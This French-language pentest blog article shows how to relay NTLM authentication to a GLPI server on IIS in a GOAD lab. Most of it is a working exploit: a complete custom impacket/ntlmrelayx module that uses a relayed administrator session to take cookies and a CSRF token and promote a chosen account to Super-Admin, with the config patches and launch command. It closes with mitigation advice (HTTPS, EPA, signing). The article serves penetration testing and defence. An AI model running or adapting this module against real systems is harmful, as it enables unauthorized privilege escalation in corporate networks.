Introduction
Les attaques de relai NTLM sont très puissantes en pentest interne. Elles sont encore aujourd’hui un des principaux vecteurs permettant d’élever ses privilèges sur un environnement Active Directory. Ces attaques sont encore largement sous-exploitées de mon point de vue. De nombreuses applications intégrant l’authentification NTLM ne disposent pas, par défaut, de la protection contre le relai NTLM (signature ou liaison de canal / « channel binding »). Cela est principalement dû au fait que les pentesters n’ont pas forcément le temps de s’intéresser à une application spécifique durant un test d’intrusion interne. Ainsi, la plupart des exploitations utilisent l’outillage existant, typiquement l’attaque ESC8.
Vous êtes en pentest interne, vous avez scanné les ports HTTP sur l’ensemble du réseau. En navigant sur un site vous voyez cette pop-up :
En lançant un curl vous voyez que la pop-up est en fait une authentification NTLM :
$ curl http://192.168.56.22 -I
HTTP/1.1 401 Unauthorized
Content-Length: 1293
Content-Type: text/html
Server: Microsoft-IIS/10.0
WWW-Authenticate: Negotiate
WWW-Authenticate: NTLM
X-Powered-By: ASP.NET
Date: Tue, 01 Jul 2025 12:56:11 GMT
Vous vous dîtes que cela peut sûrement s’exploiter avec un relais NTLM mais que vous n’avez pas le temps de creuser ?
L’objectif de cet article est de montrer sur un cas concret (GLPI), comment il est possible d’exploiter simplement une application configurée avec l’authentification NTLM, en utilisant les outils existants.
Mise en place du lab
La création du lab a été bien plus fastidieuse que prévue. Pour cela, je me suis basé sur GOAD. Avec le setup GOAD-Light.
Ensuite, sur le serveur castelblack, j’ai installé GLPI en version 10.0.15. Voici les prérequis :
1. IIS (déjà installé sur le serveur)
2. PHP : https://www.it-connect.fr/comment-installer-php-8-sur-iis-10/#III_Ajouter_PHP_a_IIS_10
3. MySQL : https://dev.mysql.com/downloads/installer/
4. Ajouter un nouveau site IIS :
- Physical path : C:\inetpub\glpi\public
5. Copier votre version de GLPI (dans mon cas celle-ci) dans le répertoire C:\inetpub\glpi
6. Ensuite il faut globalement suivre la documentation GLPI. et notamment :
- Ajouter le fichier web.config IIS
- Configurer PHP selon la documentation, avec en plus :
- Ne pas utiliser session.cookie_secure
- Augmenter le max_execution_time à 3000
- Suivre l’UI pour l’installation
7. Configuration de la connexion à l’Active Directory et import des utilisateurs. Voici ma configuration :
8. Mise en place de l’authentification NTLM.
J’ai suivi ce guide, cependant cela ne fonctionnait pas car le nom des utilisateurs du domaine importés dans GLPI est la valeur de l’attribut samAccountName, par exemple robb.stark dans GOAD. Or, lors d’une authentification NTLM par IIS, la valeur de l’en-tête REMOTE_USER est « nom NETBIOS du domaine » \ « samAccountName », par exemple NORTH\robb.stark. Après plusieurs tentatives infructueuses, la solution (non satisfaisante) que j’ai utilisée est de patcher GLPI pour supprimer le nom netbios de l’en-tête REMOTE_USER.
/**
* GLPI web router.
*
* This router is used to be able to expose only the `/public` directory on the webserver.
*/
$glpi_root = realpath(dirname(__FILE__, 2));
$_SERVER['REMOTE_USER'] = preg_replace('/^.*\\\/', '', $_SERVER['REMOTE_USER']);
Après cette étape nous avons donc un serveur GLPI configuré avec l’authentification NTLM. Si on on lance une session avec le compte NORTH\robb.stark sur le serveur winterfell, nous sommes automatiquement connecté au GLPI.
Passons à l’exploitation.
Exploitation avec ntlmrelayx
L’outil qui vient tout de suite en tête pour exploiter le relais NTLM est bien sûr ntlmrelayx.
Solution 1 : socks proxy
L’option la plus simple est d’utiliser le proxy socks intégré de ntlmrelayx.
$ sudo ntlmrelayx.py -t http://192.168.56.22/index.php -socks
En configurant son navigateur sur le proxy socks de ntlmrelayx (par défaut 127.0.0.1:1080) on peut ainsi naviguer sur l’application et exploiter les droits de l’utilisateur :
Là vous avez envie de vous dire, tout cet article pour ça, une simple option ntlmrelayx ? Evidemment, non. Le problème avec cette approche est que, de mon expérience, le proxy socks ntlmrelayx est très instable. Il peut se couper très facilement après une requête HTTP ou au bout de quelques secondes. Il serait intéressant de comprendre pourquoi et de l’améliorer, néanmoins d’ici là nous devons faire avec. En pentest interne et encore plus en Red Team, nous n’avons pas forcément de seconde chance, il faut que l’exploit soit prêt et exécuté directement. Nous allons donc développer directement dans impacket. Le socks peut toujours être utile pour identifier l’application et d’exploiter via UI si possible.
Solution 2 : module impacket
Le code exécuté après un relais d’authentification HTTP réussi est dans le fichier : /impacket/examples/ntlmrelayx/attacks/httpattack.py
Par défaut il fait simplement une requête HTTP GET sur la racine du serveur Web. Nous allons donc le modifier pour faire une action intéressante sur le GLPI.
Les possibilités sont infinies, le but ici est de montrer un cas exemple. On va donc supposer que l’utilisateur compromis est administrateur et donner les droits d’admin à un compte standard (arya.stark).
Impacket utilise la librairie python http.client, qui est moins pratique que requests mais on s’en sort quand même. D’après le commentaire dans l’exemple, un attribut self.client.session est présent et permet de communiquer sur la session authentifiée HTTP. Cependant, durant mes tests, cette variable n’était pas construite, et elle n’est pas non plus utilisée dans les autres scripts d’exemple (dont ADCS). On va donc récupérer nous même les cookies et créer une session authentifiée (avec quelques redirections dues à GLPI) :
LOG.info("Starting GLPI attack")
# Getting the cookie
self.client.request("GET", "/front/login.php")
response = self.client.getresponse()
response.read()
headers = dict(response.getheaders())
# Following first redirections
custom_headers = {}
glpi_cookies = self.get_glpi_cookies(response)
while (300 <= response.status < 400) and ('Location' in headers) and ("/front/central.php" not in headers['Location']):
glpi_cookies = self.get_glpi_cookies(response)
custom_headers['Cookie'] = glpi_cookies if glpi_cookies else custom_headers['Cookie']
self.client.request("GET", headers['Location'],headers=custom_headers)
response = self.client.getresponse()
response.read()
headers = dict(response.getheaders())
if (300 <= response.status < 400) and ('Location' in headers) and ("/front/central.php" in headers['Location']):
glpi_cookies = self.get_glpi_cookies(response)
custom_headers['Cookie'] = glpi_cookies if glpi_cookies else custom_headers['Cookie']
self.client.request("GET", headers['Location'],headers=custom_headers)
response = self.client.getresponse()
response.read()
else :
LOG.error("Unexcepted GLPI response")
return
# At this point we are authenticated
Il faut ensuite faire quelques requêtes pour gérer des éléments annexes, comme récupérer le jeton CSRF. Puis on peut lancer la requête POST sur /front/profile_user.form.php pour donner les droits administrateur à l’utilisateur (dans notre cas l’utilisateur n’a pas de droits existants, pour une exploitation plus propre, il faudrait d’abord supprimer les droits existants de l’utilisateur avant de lui donner les droits admin, ceci est laissé en exercice au lecteur).
# Adding the user to the Super-Admin group
LOG.info(f"Promoting the user {USERNAME_TO_PROMOTE} to Super-Admin, enjoy !")
post_path = "/front/profile_user.form.php"
post_params = {
"users_id": user_id,
"entities_id": "0",
"profiles_id": "4",
"is_recursive": "0",
"add": "Ajouter",
"_glpi_csrf_token": csrf_token
}
post_data = urllib.parse.urlencode(post_params)
post_headers = {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139m.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/x-www-form-urlencoded",
"Connection": "keep-alive",
"Cookie": custom_headers['Cookie'],
"Upgrade-Insecure-Requests": "1",
"Priority": "u=0, i"
}
self.client.request("POST", post_path, body=post_data, headers=post_headers)
response = self.client.getresponse()
response_data = response.read().decode(errors="ignore")
self.client.close()
Il suffit ensuite de placer l’ensemble du code dans la méthode run() du fichier /impacket/examples/ntlmrelayx/attacks/httpattack.py et on peut ainsi réaliser une élévation de privilèges via relais NTLM sur le GLPI.
Pour que ce soit un peu plus propre, on peut créer un fichier dédié avec l’ensemble du code dans /impacket/examples/ntlmrelayx/attacks/httpattacks/glpiattack.py :
# /impacket/examples/ntlmrelayx/attacks/httpattacks/glpiattack.py
import re
from OpenSSL import crypto
from impacket import LOG
import urllib.parse
import random
import string
class GLPIAttack:
def _run(self):
LOG.info("Starting GLPI attack from here")
# Getting the cookie
self.client.request("GET", "/front/login.php")
response = self.client.getresponse()
response.read()
headers = dict(response.getheaders())
# Following first redirections
custom_headers = {}
glpi_cookies = self.get_glpi_cookies(response)
while (300 <= response.status < 400) and ('Location' in headers) and ("/front/central.php" not in headers['Location']):
glpi_cookies = self.get_glpi_cookies(response)
custom_headers['Cookie'] = glpi_cookies if glpi_cookies else custom_headers['Cookie']
self.client.request("GET", headers['Location'],headers=custom_headers)
response = self.client.getresponse()
response.read()
headers = dict(response.getheaders())
if (300 <= response.status < 400) and ('Location' in headers) and ("/front/central.php" in headers['Location']):
glpi_cookies = self.get_glpi_cookies(response)
custom_headers['Cookie'] = glpi_cookies if glpi_cookies else custom_headers['Cookie']
self.client.request("GET", headers['Location'],headers=custom_headers)
response = self.client.getresponse()
response.read()
else :
LOG.error("Unexcepted GLPI response")
return
# At this point we are authenticated
if not self.config.GLPIUsername:
LOG.error("GLPIUsername is not set, please set it with --GLPIUsername")
return
USERNAME_TO_PROMOTE = self.config.GLPIUsername
# Getting the user id
headers = {
"Cookie": custom_headers['Cookie']
}
search_user_path = f"/ajax/search.php?action=display_results&searchform_id=search_1435647551&itemtype=User&glpilist_limit=15&sort%5B%5D=1&order%5B%5D=ASC&is_deleted=0&as_map=0&browse=0&criteria%5B0%5D%5Blink%5D=AND&criteria%5B0%5D%5Bfield%5D=view&criteria%5B0%5D%5Bsearchtype%5D=contains&criteria%5B0%5D%5Bvalue%5D={USERNAME_TO_PROMOTE}&start=0"
self.client.request("GET", search_user_path, headers=headers)
response = self.client.getresponse()
response_data = response.read().decode(errors="ignore")
match = re.search(r'/front/user\.form\.php\?id=(\d+)', response_data)
if match:
user_id = match.group(1)
LOG.info("Great, we are admin, now we can promote the user")
else:
LOG.error(f"ID not found for {USERNAME_TO_PROMOTE}, maybe relayed user is not admin")
self.client.close()
exit()
# Getting the CSRF token
params = {
"_glpi_tab": "Profile_User$1",
"formoptions": "data-track-changes=true",
"_target": "/front/user.form.php",
"_itemtype": "User",
"id": "24"
}
query_string = urllib.parse.urlencode(params)
path = f"/ajax/common.tabs.php?{query_string}"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0",
"Accept": "*/*",
"Accept-Language": "fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3",
"Accept-Encoding": "deflate, br",
"X-Requested-With": "XMLHttpRequest",
"Connection": "keep-alive",
"Cookie": custom_headers['Cookie']
}
# Getting the CSRF token
self.client.request("GET", path, headers=headers)
response = self.client.getresponse()
response_data = response.read().decode(errors="ignore")
match = re.search(r'name="_glpi_csrf_token"\s+value="([^"]+)"', response_data)
if match:
csrf_token = match.group(1)
else:
LOG.error("CSRF Token not found.")
self.client.close()
exit()
# Adding the user to the Super-Admin group
LOG.info(f"Promoting the user {USERNAME_TO_PROMOTE} to Super-Admin, enjoy !")
post_path = "/front/profile_user.form.php"
post_params = {
"users_id": user_id,
"entities_id": "0",
"profiles_id": "4",
"is_recursive": "0",
"add": "Ajouter",
"_glpi_csrf_token": csrf_token
}
post_data = urllib.parse.urlencode(post_params)
post_headers = {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139m.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/x-www-form-urlencoded",
"Connection": "keep-alive",
"Cookie": custom_headers['Cookie'],
"Upgrade-Insecure-Requests": "1",
"Priority": "u=0, i"
}
self.client.request("POST", post_path, body=post_data, headers=post_headers)
response = self.client.getresponse()
response_data = response.read().decode(errors="ignore")
self.client.close()
def random_string(self, length=8):
letters = string.ascii_letters + string.digits
return ''.join(random.choice(letters) for _ in range(length))
def get_glpi_cookies(self, response):
headers = dict(response.getheaders())
for header in headers:
if header == 'Set-Cookie' and "glpi" in headers['Set-Cookie']:
raw_cookie = headers['Set-Cookie']
cookie = raw_cookie.split(';')[0]
return cookie
return {}
def form_field(self, name, value="", delimiter=""):
return f"{delimiter}\r\nContent-Disposition: form-data; name=\"{name}\"\r\n\r\n{value}"
Ensuite il faut rajouter les morceaux de code adéquats dans les fichiers examples/ntlmrelayx.py, et /impacket/examples/ntlmrelayx/utils/config.py notamment le paramètre permettant de gérer de nom de l’utilisateur que l’on veut promouvoir :
# Dans la fonction def start_servers(options, threads):
c.setIsGLPIAttack(options.glpi)
c.setGLPIOptions(options.GLPIUsername)
# Dans le main
glpioptions = parser.add_argument_group("GLPI attack options")
glpioptions.add_argument('--glpi', action='store_true', required=False, help='Enable GLPI relay attack')
glpioptions.add_argument('--GLPIUsername', action='store', metavar="GLPIUsername", required=False, help='Username to promote to Super-Admin')
# Dans le fichier impacket/examples/ntlmrelayx/utils/config.py
def setIsGLPIAttack(self, isGLPIAttack):
self.isGLPIAttack = isGLPIAttack
def setGLPIOptions(self, username):
self.GLPIUsername = username
Et voilà ! On peut maintenant relayer une authentification NTLM vers le GLPI et automatiquement élever les privilèges du compte arya.stark avec la commande :
$ sudo ntlmrelayx.py -t http://192.168.56.22/index.php --glpi --GLPIUsername arya.stark
Conclusion
L’outillage existant (ntlmrelayx) permet aujourd’hui très simplement de relayer une authentification NTLM sur de nombreux protocoles. Nous avons vu dans cet exemple l’implémentation d’un POC de relais HTTP pour GLPI. Le nombre de services et d’applications configurées avec l’authentification NTLM dans les réseaux internes laissent penser que cette vulnérabilité est encore très sous-exploitée par les pentesters, notamment par manque de temps.
Il est donc important de rappeler que les services supportant l’authentification NTLM doivent activer les protections adéquates :
- Signature (smb signing, ldap signing)
- Liaison de canal / « channel binding » / EPA
Ici la recommandation est d’activer HTTPS et la protection EPA sur le serveur IIS.
La prochaine étape est de construire une base de script pour chaque application couramment configurée avec l’authentification NTLM en interne. Pourquoi pas une partie 2 de ce blog post sur un cas concret ? À suivre.